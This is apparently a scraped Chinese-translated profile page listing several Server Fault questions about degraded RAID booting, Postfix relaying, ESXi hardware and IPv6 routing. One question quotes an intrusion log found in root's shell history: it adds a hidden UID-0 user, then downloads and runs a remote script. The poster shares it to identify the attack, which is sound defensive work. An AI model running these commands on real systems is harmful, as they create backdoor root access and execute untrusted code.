小编mr.*_*r.b的帖子

在 RAID 阵列降级时启动 Debian

最近,我遇到了 Ubuntu Server 安装。在安装过程中,它询问我是否允许从降级的 RAID 阵列启动系统(可能是因为我将系统安装到 RAID1 /dev/md0 设备上)。对于只需要联机的无人值守服务器来说,这是非常有用的选项,无论它们的 RAID 阵列是否降级(只要它没有完全失效)。

快速查找后,我发现它可以通过读取/etc/initramfs-tools/conf.d/mdadm配置文件(BOOT_DEGRADED=true 选项)或读取内核引导行参数(bootdegraded=true)来工作。

问题:是否有类似的东西(一种使用降级阵列引导系统的方法)适用于 Debian?我不确定这种确切的方法是否适用,甚至不确定它是否具有此特定功能。

我问这个是因为我曾经在某些系统中使用 RAID5 阵列,并且在不正确关闭时无法启动,直到我手动“修复”阵列,这被证明是主要的 PITA,因为服务器在远程位置无人看管,没有UPS,并且确实发生了电源故障。所以,我问这样我可以在未来防止这种问题。

linux ubuntu debian software-raid degraded

10
推荐指数
1
解决办法
7482
查看次数

root 的 .bash_history 中的一组奇怪的 shell 命令

我可能刚刚检测到我的服务器上的用户已经植根了我的服务器,但这不是我要问的。

有没有人见过这样的命令:

echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;
Run Code Online (Sandbox Code Playgroud)

在我看来,这是一些自动化脚本的工作,但我不确定是哪一个。

任何人都有这方面的线索?

操作系统是 Debian Lenny,内核 2.6.30-bpo.2-686-bigmem(如果这很重要)。

顺便说一下,上面代码中的链接被屏蔽了,任何想要下载代码的人,我都复制了一份供分析,所以我可以根据要求提供。

编辑:如果有人感兴趣,我正在附上 .sh 脚本的内容作为参考。

#!/bin/sh
PHP=`which php` …
Run Code Online (Sandbox Code Playgroud)

security linux hacking rootkit exploit

5
推荐指数
1
解决办法
1048
查看次数

如果用户未知,将 Postfix 配置为使用外部 MX 服务器来传递本地邮件

我有以下设置:

  • 带有后缀的 linux box 配置为负责 example.com 域
  • 配置域的 MX 服务器,以便将发送到 example.com 的邮件发送到 google 邮件服务器
  • linux 机器上存在多个用户帐户(同一台机器还托管 example.com 站点)

当来自外部的人尝试将邮件发送到以@example.com 结尾的地址时,它会被路由到谷歌邮件(并在那里得到适当处理)。

当 linux 机器尝试向外界发送邮件时,邮件被正确发送,因为反向 dns 和 spf 记录配置正确,因此 linux 机器是 example.com 域(以及 google 邮件服务器)的有效邮件发件人。

然而,问题来了。当 php 应用程序(托管在 linux box 上)尝试将邮件发送到 someuser@example.com(并且 someuser 在 linux box 上不存在)时,它失败了,因为它甚至不咨询 google 邮件服务器,但是 postfix smtp 在本地得出结论那个“someuser”是未知的。

所以,问题是:我如何告诉 postfix 将发送到@example.com 域的邮件中继到谷歌邮件服务器(因此,到 MX 记录中指定的服务器),如果且仅当在本地找不到邮箱时。

email postfix

4
推荐指数
1
解决办法
7356
查看次数

我需要(大约)什么硬件来运行 ESXi 服务器?

我正在考虑购买现成的商品硬件,以构建将使用 ESXi 服务器托管虚拟机的服务器。

此服务器的预期用途不是关键任务。它可能需要运行 20-50 个 Windows XP/Vista/7 虚拟机(总共,但接近 20 个数字)。每个来宾必须拥有1-2 GB 的内存,并且可能比来宾操作系统需要的磁盘空间多出两到三倍,并进行全新安装和应用所有更新(对于 XP,这大约为6-8 GB,我相信更接近于10-15 为 win7)。这些客人将作为网络管理软件新产品的试验场,因此客人在最初加载后会闲置大部分时间,但如果我给他们一些任务来完成,他们应该能够表现得相当好。

现在,根据我所了解的...... CPU 通常不是什么大问题(6 核就可以了),内存不应该缺乏,但不必是所有客人的总和,因为过度使用......这让我想到了 IO,这似乎是瓶颈。

由于我对 ESXi(和 ESX)服务器的经验很少,我想问:

  1. 过度使用可以节省多少内存,它如何影响性能?
  2. 6 核 CPU 是否足以运行上述系统?
  3. 是否可以在两个(甚至一个)SSD 驱动器(用于托管系统虚拟磁盘)上运行整个服务器,并在 RAID 0 中使用少量额外的 HDD (2-3) 作为辅助存储?
  4. 我在某处读到 ESXi 允许拥有诸如“主映像”之类的东西,本质上是多次“部署”的虚拟机,因此可以通过仅存储特定来宾的差异而不是复制整个虚拟磁盘来节省磁盘空间。这是真的吗,这对我有什么帮助?
  5. 在构建这个现成的解决方案时,我还需要考虑其他什么事情吗?

我可能应该在这里提到,我完全了解关于电源、raid 0 等的 SPOF 等问题,但由于它只是一个试验场而不是生产系统,因此对我来说并不那么重要。

谢谢,B。

hardware vmware-esxi

2
推荐指数
2
解决办法
3365
查看次数

ISP 需要提供什么才能将本地 IPv6 /56 范围路由到多个 VLAN

我有一个理论问题。网络拓扑是这样的:

ISP <--- eth0 -> Router1 <- eth1 ----+--> VLAN1
                                     '--> VLANx
Run Code Online (Sandbox Code Playgroud)

为了便于论证,我们假设 Router1 是 Linux 3.2.x 设备。

假设我希望从我的 ISP 接收单个 /56 范围。我的 ISP 必须向我提供哪些信息,以便我可以:

  1. 在路由器 1 上具有本机 IPv6 连接
  2. 在每个 VLAN 上通告分配的地址空间的 /64 段,以便 LAN 中的客户端能够正确地自动配置自己?

为了进一步解释一下,我问这个问题,以便我可以了解我必须要求我的 ISP 为我提供什么,以便能够达到目标 1 和 2。据我所知,当我得到只有一个 IP 范围(/64、/56 或 /48)和该范围的网关地址,无法将该范围的一部分路由到路由器另一侧的物理隔离网络。

router routing ipv6

2
推荐指数
1
解决办法
1573
查看次数